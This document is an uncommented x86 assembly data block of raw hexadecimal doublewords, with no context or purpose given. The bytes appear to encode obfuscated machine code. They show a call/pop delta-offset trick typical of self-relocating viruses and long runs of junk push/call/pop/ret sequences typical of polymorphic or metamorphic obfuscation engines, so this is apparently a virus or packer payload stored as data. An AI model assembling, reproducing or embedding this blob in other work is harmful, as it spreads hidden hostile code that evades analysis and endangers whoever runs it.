		dd 6A0648h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 140424h
		dd 57470000h, 10E98EC3h, 0E8000009h, 0
		dd 43ED815Dh, 0E8064BE7h, 8, 0F421063Bh, 0DC61B76Bh, 14830Fh
		dd 0FE90000h, 0D5000000h, 0BA326D16h, 0A2BDE184h, 0C453DABFh
		dd 815E5D33h, 48082DBDh, 7D006h, 0F5860F00h, 8B000000h
		dd 4811919Dh, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1604h, 0C3534300h, 8165CF09h, 100E3h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h
		dd 8CB45DAEh, 15B58B24h, 0B064831h, 5A850FDBh, 0BE000000h
		dd 1BF4F754h, 0E577BD83h, 0F00064Bh, 1184h, 55B58B00h
		dd 0E9064810h, 4Ch, 1465B58Bh, 85C70648h, 64BE577h, 1
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 3CC35141h
		dd 1C65BD01h, 15E90648h, 89000000h, 480F6DB5h, 7785C706h
		dd 64BE5h, 0BE000000h, 0B822AE1h, 11919D8Dh, 6A0648h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 71F949C3h, 185C8364h, 81DDDA69h, 0FFFEFF23h,	0F7B70FFFh
		dd 6ADB8C66h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0E24BC351h, 0CC5BD89h,	0C3F60648h
		dd 59840F04h, 1000000h,	481529B5h, 0F195FF06h, 6A064828h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1C042444h
		dd 47000000h, 4195C357h, 2053361Eh, 50994F8Bh, 6A240489h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0D1C2C352h, 66B4CD35h, 0F602E681h, 3ABE9h
		dd 12E900h, 63B50000h, 847EB233h, 0D74CE6E5h, 0B293A1FDh
		dd 183F79Eh, 10E900B0h,	0C8000000h, 0F28F8FC2h,	209C92EAh
		dd 27BB337Ah, 0E6B3FC46h, 6840F70h, 8B000000h, 4829D5B5h
		dd 6A71E406h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 8B68C350h, 48145DB5h, 0F2B70F06h
		dd 53D8B60Fh, 1261B589h, 0BA5E0648h, 6,	0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 1Ah, 1CC35747h, 0CB9C6B8Bh
		dd 0C38B77D0h, 0C1FCF28Bh, 8B6604E8h, 0E2F766F0h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 11C35040h, 0ED2268C8h
		dd 0BE513B77h, 18A603EAh, 8BD82B5Eh, 480E6DB5h,	0F78B5006h
		dd 89241C89h, 4810B18Dh, 2DB5FF06h, 0FF064808h,	48092D95h
		dd 51006A06h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1A04h
		dd 0C3514100h, 23F0D2D9h, 0B06EB4E7h, 56006A00h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h
		dd 136E255Eh, 16A1B58Bh, 70E60648h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 5DC35646h, 0E4A32B77h, 57006A71h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1604h, 0C3574700h
		dd 3C6AEB93h, 2D830F61h, 89000002h, 4814B98Dh, 0D8B60F06h
		dd 6BAF5h, 5E530000h, 1679B58Bh, 0C38B0648h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 9AC35141h, 690231C7h
		dd 8D014B8Ch, 6482789h,	21D99D89h, 0E8C10648h, 50006A04h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1604h, 0C3504000h
		dd 6679240Fh, 0B58BE2F7h, 6480A25h, 30619589h, 0D82B0648h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 0FCC35040h
		dd 3E6605AAh, 661D80F8h, 6A58F38Bh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 0AB73C350h
		dd 54C3B56Dh, 0E6819CBFh, 0C5549A6h, 880FD82Bh,	15Ch, 25C68166h
		dd 7B9BCh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 74E65DC3h, 8589DE67h, 0C4F68166h
		dd 64E68144h, 83354747h, 12E800C1h, 0E1000000h,	40F79554h
		dd 37539BFBh, 4023FB68h, 8E1285F7h, 0F08B66CDh,	0FD93B5Eh
		dd 0FF86h, 71B58B00h, 66064809h, 6AD98Ch, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 190424h, 57470000h, 0EF047C3h
		dd 0E964E68Dh, 9, 0D71404A1h, 4DB4DC75h, 4C1F68Ch, 9C840Fh
		dd 0F8570000h, 0F195FF5Eh, 0BE064828h, 2CD7086Fh, 75B58B5Bh
		dd 2B06482Fh, 53006AC3h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1A04h, 0C3534300h, 0FA5178Ah, 0FABFA7Bh, 58Ah, 530ABE00h
		dd 343D08CFh, 0F000008h, 4D86h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1A04h,	0C3554500h, 970C1F36h
		dd 0E8BE2A94h, 5, 0D9DB81E1h, 0D59D017Fh, 5E064813h, 37E9h
		dd 0EE800h, 12A90000h, 54FB5BAAh, 0C663337h, 0D0A030ACh
		dd 0C08B5EF9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0B4C35646h, 0C41B24A1h,	0D88BC38Bh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 80C35242h, 0F1B7FBCCh
		dd 60441AA4h, 0BE957h, 21A90000h, 0A525EFB5h, 0E07B8D15h
		dd 0C7615ADDh, 482FC985h, 563B7706h, 5E93Ch, 0CEDB0000h
		dd 8B43C9CCh, 57006AC0h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 96992BC5h, 0D032138Fh, 0B58B8634h
		dd 6481485h, 82DBD81h, 7D00648h, 850F0000h, 10h, 1AD5B58Bh
		dd 85FF0648h, 648082Dh,	44EBBE66h, 82DB5FFh, 0B58B0648h
		dd 6481FB9h, 92D95FFh, 6A0648h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 160424h, 55450000h, 660BC8C3h, 66D88B90h
		dd 0BD83F78Bh, 648202Dh, 2F840F00h, 89000000h, 481F01BDh
		dd 247E906h, 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 160424h, 55450000h, 0A24645C3h, 2839B58Bh, 0DF8C0648h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 5DC35242h
		dd 66953F81h, 4C7F7h, 1F7850Fh,	0F6810000h, 261A5CBDh
		dd 0BFh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1504h, 0C3524200h, 8166CE3Ch, 8D5240EEh, 4BEF959Dh
		dd 0EEBE9306h, 502A78C1h, 2D1BDEBEh, 6A932Eh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 8CA4B3C3h
		dd 35FF64B4h, 0
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0B6C35141h
		dd 0BE8h, 694A0500h, 21A31C04h,	71D7206Fh, 2589645Eh, 0
		dd 5850F60h, 66000000h,	0C2B3C981h, 1AF98531h, 8B610648h
		dd 53006AC4h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 628B5578h, 0B58B34E5h, 64831B5h,	0EB01CDh
		dd 2719B503h, 6AF90648h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1B042444h, 41000000h, 8AAFC351h, 826296A2h
		dd 0C6815ECAh, 225D34D5h, 58F64h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 9FDEC352h, 6AC7FDB5h, 6A04C483h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 0A2BEC350h
		dd 4ABE8A82h, 0B258951h, 96840FC0h, 0BE000000h,	51748BBEh
		dd 4E80BD8Dh, 0B5030648h, 6480CB9h, 5B8h, 5820F00h, 66000000h
		dd 0A0A8E681h, 6AE7FFh,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 94FC41C3h, 0ACD916F9h, 45B8BECFh
		dd 8B577DD0h, 8B10245Ch, 0B883h, 40B60F00h, 89C8FE01h
		dd 0B083h, 0B8838300h, 2000000h, 0C3C0335Fh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0DDC35141h, 4A875C60h
		dd 297B5F13h, 4805899Dh, 0E9CA2B06h, 0FFFFF757h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0ECC35747h, 84429DDCh
		dd 45F9629h, 0FE83Ah, 20C50000h, 43C04Dh, 4203496Fh, 0FC79DD7Ah
		dd 6860FECh, 31000000h,	480A6DB5h, 8D0F5E06h, 5, 0A5F68166h
		dd 0C78160A7h, 6490C4A2h, 29198D03h, 89600648h,	4811A985h
		dd 8B616106h, 0CE951C1h, 89000000h, 293B1CFCh, 5C475D53h
		dd 5F2DAF3Ch, 4EBh, 6A0000h, 3E851h, 59200000h,	4C8959C3h
		dd 44810424h, 170424h, 51410000h, 0D422B9C3h, 0BE6656EEh
		dd 895E96B5h, 48020585h, 2820F06h, 8B000000h, 55858DF1h
		dd 6A064812h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0F1E5C355h, 0A806C06Ah, 0BD89181Bh
		dd 6480AF1h, 29905090h,	4809B1BDh, 6A006A06h, 0F78B6600h
		dd 0F1C2858Dh, 7E9064Bh, 0F5000000h, 0FC6CB1Ah,	0C0838F92h
		dd 55BD8B05h, 5006482Fh, 13E8h,	83FF7900h, 2D04A8C9h, 1417730Fh
		dd 600D7BD8h, 4424ACh, 0EE8h, 2668DC00h, 0C615749Ch, 0DA213421h
		dd 50D7A225h, 5A310F52h, 895F5E58h, 0BE662404h,	6ACFA8h
		dd 6AFA8B66h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1504h, 0C3574700h, 0B52BBEECh, 6480C89h, 0E1C68166h
		dd 2D95FFC7h, 6A06482Bh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 14042444h, 41000000h, 8DDDC351h, 4B99389Dh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 0FC5771B6h, 31D3FF5Fh, 4817859Dh, 0D185FF06h
		dd 0E906481Ah, 7, 91323AD6h, 0E92F957Ch, 81Ch, 0E8h, 0ED815D00h
		dd 64BF1CCh, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Ah,	41C35040h, 6491CA57h, 0BD8969A3h, 64821D9h, 82DBD81h
		dd 7D00648h, 860F0000h,	176h, 0B59D8BF8h, 51064812h, 0E3815Eh
		dd 66000001h, 660AC4BFh, 0B597C781h, 850FDB0Bh,	0C8h, 29418D89h
		dd 0BD830648h, 64BF065h, 56840F00h, 6A000000h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 0EEBFC356h, 0BE9BBh,	48E30000h, 0FEF81CCBh, 0C7707840h
		dd 0C4E967h, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 0CD9D29C3h, 3E6BDD0Ch, 6585C7ABh
		dd 1064BF0h, 6A000000h,	3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0C3FC355h, 0A4DEC8B7h
		dd 0E9BD2389h, 0E9064804h, 6Ah,	0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 1C35040h, 0CB1B589h, 8D890648h
		dd 6482ECDh, 0F06585C7h, 64Bh, 6A0000h,	3E857h,	5F200000h
		dd 7C895FC3h, 44810424h, 1C0424h, 57470000h, 0ADD477C3h
		dd 0CE076ED1h, 0FE92840h, 0E2000000h, 0B1289EFDh, 4FB2CACEh
		dd 376D6E6h, 9D8D8DC1h,	64812B5h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 16h, 97C35747h, 23817300h, 0FFFFFEFFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0C35747h
		dd 0BF665522h, 8C6619C5h, 0EE8166DBh, 0C3F6B7DBh, 49840F04h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 18E1C351h, 95FFB0F4h, 64828F1h
		dd 2298531h, 60500648h,	61605250h, 0BF66310Fh, 585A693Bh
		dd 61D98B66h, 0BF240489h, 4385A797h, 890ABE66h,	406E9h
		dd 9BD8900h, 8B064814h,	0E600B0F3h, 6A71E470h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h
		dd 0BE5FC356h, 42867C31h, 29D8B60Fh, 4809259Dh,	6BA06h
		dd 0DF810000h, 22D915BDh, 6AC38Bh, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 140424h, 56460000h, 0BD313DC3h, 6480BFDh
		dd 0F04E8C1h, 687h, 25BD8900h, 66064809h, 6AE2F7h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 6552BAC3h, 6E9h, 0C99C7100h,	2B8C7FF3h, 55006AD8h, 3E8h
		dd 0C35D2000h, 246C895Dh, 24448104h, 1704h, 0C3554500h
		dd 41340172h, 0BE9h, 8412CB00h,	941A6F9h, 4AD2DB64h, 0EBE6693h
		dd 0AE95067h, 0EB000000h, 4532C604h, 0B535C986h, 11E9939Bh
		dd 0B6000000h, 0C3831950h, 0F45A2F0Ah, 0B189C24Ah, 61F9D97Dh
		dd 82DB5FFh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 5270BDC3h, 0A4E713h, 2D95FFC6h
		dd 29064809h, 4830C995h, 6A00B006h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 7877C351h
		dd 8D1D00A1h, 0BABE53F3h, 5E70970Fh, 6A70E6h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 0E5FA75C3h
		dd 0F36104DCh, 0FAB70F17h, 2F618D09h, 71E40648h, 0FE9h
		dd 4B81F100h, 29093CF6h, 0A0E49E61h, 0E25E7C44h, 830F613Ch
		dd 25Bh, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 1Bh,	36C35646h, 4E1AB606h, 0E84AD4EEh, 0Dh, 387EFEEEh
		dd 640DB737h, 1A8CC25Fh, 8E85FDCh, 43000000h, 0B3C1B125h
		dd 0E89C869Eh, 12h, 3FFD1DB0h, 0C6DFEA31h, 7933202Bh, 7D4A11FAh
		dd 5F5E26A4h, 0E9D8B60Fh, 5, 93E39F1Ch,	6BA54h,	0C38B0000h
		dd 1E880Fh, 12E80000h, 0BC000000h, 127D40E9h, 3CF8FAD6h
		dd 0CF1944ABh, 99EDC475h, 998D89B0h, 5E064804h,	6A04E8C1h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1B042444h
		dd 42000000h, 0A5D9C352h, 813F8D91h, 8D89F689h,	6481AE1h
		dd 2999BD8Bh, 0BD330648h, 6480229h, 0E9E2F766h,	7, 0B3D71224h
		dd 2BA579D4h, 15B58BD8h, 0F06482Bh, 6A58F8BFh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h
		dd 15042444h, 46000000h, 1181C356h, 2D5616BFh, 0FD82B6Eh
		dd 14A88h, 0EE900h, 499B0000h, 30ED25A7h, 883E769Bh, 0E1B4A0F4h
		dd 7B9h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1904h, 0C3514100h, 0A2E4D0C2h, 0C1832B60h, 0FD93B00h
		dd 10686h, 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h
		dd 1904h, 0C3574700h, 72997FA6h, 8C666ED5h, 52006AD9h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1404h, 0C3524200h
		dd 4C1F666h, 0B5840Fh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0A7831DC3h, 28F195FFh
		dd 8D890648h, 6480DEDh,	6820F5Bh, 89000000h, 4815C585h
		dd 6AC32B06h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 19042444h, 47000000h, 1582C357h, 2D348DC4h, 14E9h, 0EA88A400h
		dd 0C087C210h, 0B0CDF93Dh, 6CDCCDEDh, 0DA817EF9h, 8343D05h
		dd 860F0000h, 37h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0E7C35141h, 5CD10B49h, 0CF813286h, 15497E2Dh
		dd 5E9h, 0D6C6B000h, 8E92816h, 8B000000h, 959D89C0h, 8B064822h
		dd 0FD88BC3h, 58Eh, 175BF00h, 85C71A01h, 6481191h, 186CBF75h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 0F7C35545h
		dd 64CF0227h, 0BD8B0C11h, 64806DDh, 6AC08Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 0AB969DC3h
		dd 81FEB70Fh, 48082DBDh, 7D006h, 2F850F00h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 16042444h
		dd 46000000h, 5199C356h, 5D781F0h, 0FF7D43BBh, 48082D85h
		dd 0DE816606h, 0B5FF03E7h, 648082Dh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 2C35646h, 5FEAB1ECh, 95FF8C08h
		dd 648092Dh, 0C458589h,	66900648h, 0BE66F88Bh, 6A1E69h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 0F99F72C3h, 15BD8B7Fh, 0E9064830h, 13h, 300B62E9h, 2F517E49h
		dd 0A60B88FBh, 0E001C73h, 0FC86FB1Dh, 6E8h, 67E06500h
		dd 89CDA93Ah, 480A8985h, 0AE906h, 59720000h, 6E5F6056h
		dd 0CD0F0765h, 57006A5Fh, 3E8h,	0C35F2000h, 247C895Fh
		dd 24448104h, 1804h, 0C3574700h, 631970CAh, 89E2BE37h
		dd 0FA8B7155h, 33098D89h, 81660648h, 8B2722EEh,	480D45BDh
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1A04h
		dd 0C3534300h, 0D7D2B64Eh, 8B0C7F73h, 480901BDh, 0DD9D0106h
		dd 8906481Bh, 4805C585h, 5BD8B06h, 6A064802h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h
		dd 1F2BC350h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	35C35141h, 21DDF07h, 0C2BF661Dh, 0F7EAE9B6h, 0BD8BFFFFh
		dd 6482F21h, 6AC18Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 180424h, 53430000h, 0F2D273C3h, 800FD4CFh, 2, 0D781F98Bh
		dd 1C3FD5D2h, 4EBh, 6A0000h, 3E857h, 5F200000h,	7C895FC3h
		dd 44810424h, 170424h, 57470000h, 7F9EAAC3h, 0B19D0141h
		dd 8B06480Dh, 55858DF7h, 0FC064812h, 0DE890h, 72540000h
		dd 0C75DD342h, 49984A8Ah, 66586916h, 505EFE8Bh,	70956EBEh
		dd 6A9060h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h
		dd 56460000h, 0AFC533C3h, 6AFBBF0Fh, 0DDBD2900h, 6A064829h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1804h
		dd 0C3534300h, 66EF60C6h, 0FEBF0F00h, 0FC43858Dh, 6A064Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h, 55450000h
		dd 0F78E9CC3h, 0BD8B1F73h, 6480B89h, 12830Fh, 0DE90000h
		dd 72000000h, 59DA6D8Eh, 7CEBEDEEh, 0D00638B7h,	6A05C083h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0AD31C352h, 50CB702Ch, 933DF81h, 505E063Ah
		dd 810Fh, 4890000h, 51006A24h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 0B5F0F4D8h, 2D3F8968h
		dd 16D98D29h, 6A0648h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 36C35040h, 8B468CEEh,	4831B1BDh, 6A006A06h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0F6D0C357h, 0AEFE9E1Bh, 0F19D896Dh, 6606480Eh
		dd 1797D781h, 13E8h, 74B3F700h,	0F48B4712h, 0C77B1AC5h
		dd 0F48D0408h, 2C8DAC97h, 65B533h, 0FF5F0648h, 482B2D95h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 81ABE7A0h, 6880Fh, 0E7810000h, 4F0E28E9h
		dd 99389D8Dh, 0D5BE064Bh, 0FF2312D0h, 51006AD3h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
		dd 673D007h, 0FFAE7029h, 481AD185h, 0EE906h, 8B100000h
		dd 0FAFBB1DFh, 3B9FE42Bh, 0A2E4D0C2h, 74AE9h, 0E800h, 815D0000h
		dd 4BFC4DEDh, 18D3106h,	81064817h, 48082DBDh, 7D006h, 16860F00h
		dd 6A000001h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 17042444h, 45000000h, 4C41C355h, 0BD8BC538h,	64808FDh
		dd 29659D8Bh, 0EE810648h, 56FC2FE1h, 100E381h, 0BD010000h
		dd 648062Dh, 850FDB0Bh,	84h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 64C35343h, 10E8h, 538BC400h
		dd 277DDFA7h, 1C7CA2A8h, 18675EBBh, 835FFC8Ah, 4BFA15BDh
		dd 840F0006h, 10h, 5F19D31h, 49E90648h,	0BE000000h, 3688ED0Ah
		dd 0FA1585C7h, 1064Bh, 6A0000h,	3E852h,	5A200000h, 54895AC3h
		dd 44810424h, 190424h, 52420000h, 0A16E23C3h, 0E9F6961Eh
		dd 14h,	7E2EBF66h, 0FA1585C7h, 64Bh, 9D890000h,	6482A89h
		dd 29659D8Dh, 6A0648h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 140424h, 50400000h, 2381F9C3h, 0FFFFFEFFh, 0B830Fh
		dd 66600000h, 0B91161BAh, 638D375Ch, 2ABF6661h,	0DB8C66B2h
		dd 2D853360h, 0F06481Ah, 28Ch, 61FE8B00h, 0F04C3F6h, 3184h
		dd 70D68100h, 0FF6803C1h, 4828F195h, 0BD8D3106h, 81064815h
		dd 0F244BAEEh, 60509000h, 59616057h, 5876B451h,	0BD8B9061h
		dd 6480411h, 13DB58Bh, 7EE90648h, 0B0000003h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 0C3FA63C6h, 0C9308B73h, 0B58B70E6h, 6482B79h, 0B60F71E4h
		dd 51006AD8h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1704h
		dd 0C3514100h, 0DD951A37h, 28B18589h, 0F38B0648h, 9EDF8166h
		dd 6BA5Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0F5DC84C3h, 159A5EA4h, 896F578Ch
		dd 4811F1BDh, 6AC38B06h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1D042444h, 41000000h, 0B294C351h,	7967B5A9h
		dd 34EE6E46h, 6604E8C1h, 0AE9E2F7h, 0CC000000h,	4890A78Eh
		dd 9687386Eh, 6AD82B3Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0B08AC351h,	60602960h
		dd 10E9BD8Bh, 8B0F0648h, 0
		dd 0C9816661h, 506168ABh, 89FA8B66h, 6A241Ch, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 0C48786C3h
		dd 2DB5FFF7h, 0F064808h, 689h, 71B52900h, 0FF064800h, 48092D95h
		dd 16BE6606h, 6A00B077h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 65D5C356h, 64A3F1BCh
		dd 0ED87D565h, 6A70E6h,	3E856h,	5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 66BF1EC3h, 0BED0E10h, 81FCD315h
		dd 998F41C7h, 6A71E447h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 14042444h, 42000000h, 3C58C352h, 0C2830F61h
		dd 29000001h, 4828E1BDh, 0D8B60F06h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 15h, 3C35747h, 85896062h, 648030Dh
		dd 11F1858Bh, 0BA610648h, 6, 0F419D89h,	0C38B0648h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 5FC35747h, 8166B1DEh
		dd 0C1B896CEh, 6A04E8h,	3E852h,	5A200000h, 54895AC3h, 44810424h
		dd 1A0424h, 52420000h, 34A97C3h, 32169075h, 14E98509h
		dd 0F7660648h, 53006AE2h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1404h, 0C3534300h, 0A1B58B2Ch, 81064806h
		dd 0D555B2C7h, 0F8BF0F61h, 6AD82Bh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 140424h, 51410000h, 0F7814FC3h
		dd 0CBC8230h, 25BF6658h, 0FD82BDDh, 0D488h, 85858900h
		dd 0B9064832h, 7, 1BF1B58Bh, 0C1830648h, 71B58B00h, 3B06480Ah
		dd 0B2860FD9h, 8B000000h, 0D98C66F3h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Dh, 5C35040h, 0DC6F6D15h, 3B10F976h
		dd 0CE9FDh, 0F86B0000h,	71863D27h, 39B7531Bh, 0C1F6B6DDh
		dd 6C840F04h, 8B000000h, 0F195FFF9h, 66064828h,	5B383DBEh
		dd 8E8h, 6EC51000h, 98D91AF3h, 0C32B5F6Eh, 8343Dh, 44860F00h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 1D042444h, 43000000h, 0A748C353h, 8824407Ah,	73B6C16Ah
		dd 3161BD89h, 8B0F0648h, 8, 3D9D3153h, 5F064806h, 8E9h
		dd 96C68100h, 8B08A7B9h, 8BC38BC0h, 53006AD8h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 9C4C65E5h
		dd 0BC7D12DAh, 66579E29h, 5E9731BFh, 12B585C7h,	0AB5F0648h
		dd 6A7FB6h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 0FE975C3h, 51000000h, 60A15833h, 0D971B430h
		dd 0DA795305h, 8589E24Dh, 6481A61h, 0B58BC08Bh,	6480C31h
		dd 82DBD81h, 7D00648h, 850F0000h, 59h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 16h, 6FC35040h, 0BF66DE47h, 85FFA39Bh
		dd 648082Dh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ah,	6CC35141h, 0AB23D44Dh, 60531B7Dh, 0BF0FFC8Ah, 895F61F6h
		dd 4814E9BDh, 2DB5FF06h, 66064808h, 7CFDD781h, 92D95FFh
		dd 8D890648h, 648109Dh,	0BE8h, 6A6D1E00h, 69CB23B4h, 3714A43Bh
		dd 65A582BEh, 0F905E6Eh, 1288h,	0DE900h, 0E5360000h, 9F4D9940h
		dd 9569DDEAh, 6096D52Ah, 15F9B58Bh, 8A0F0648h, 0Ah, 0D0F5B966h
		dd 29899D89h, 0BE660648h, 6A61AFA8h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 8BD7C355h
		dd 6604FFE4h, 0BE8F38Bh, 0CF000000h, 0CEBCACD8h, 0B1141E2Fh
		dd 6A5EE902h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1D042444h, 47000000h, 97BBC357h, 7CB0363Dh, 0BAA4918Ah
		dd 33DEBE66h, 0B5296056h, 6480499h, 39858BFCh, 6106480Dh
		dd 3285BD8Bh, 6A5F0648h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1B042444h, 45000000h, 0DFF8C355h,	79A00FC4h
		dd 0F681C359h, 3998AC20h, 0CD8589F9h, 8B06481Ah, 483101BDh
		dd 8D315606h, 6482801h,	0F08B665Fh, 0E851006Ah,	3, 59C35920h
		dd 4244C89h, 4244481h, 17h, 1C35141h, 53313431h, 2EC5B589h
		dd 0E95F0648h, 0FFFFF8D5h, 3850F781h, 14E97C49h, 0DD000000h
		dd 87D913ACh, 9E4D5EE1h, 1E160F8h, 0DC0C7689h, 8BB08FBDh
		dd 50006AC1h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1C04h
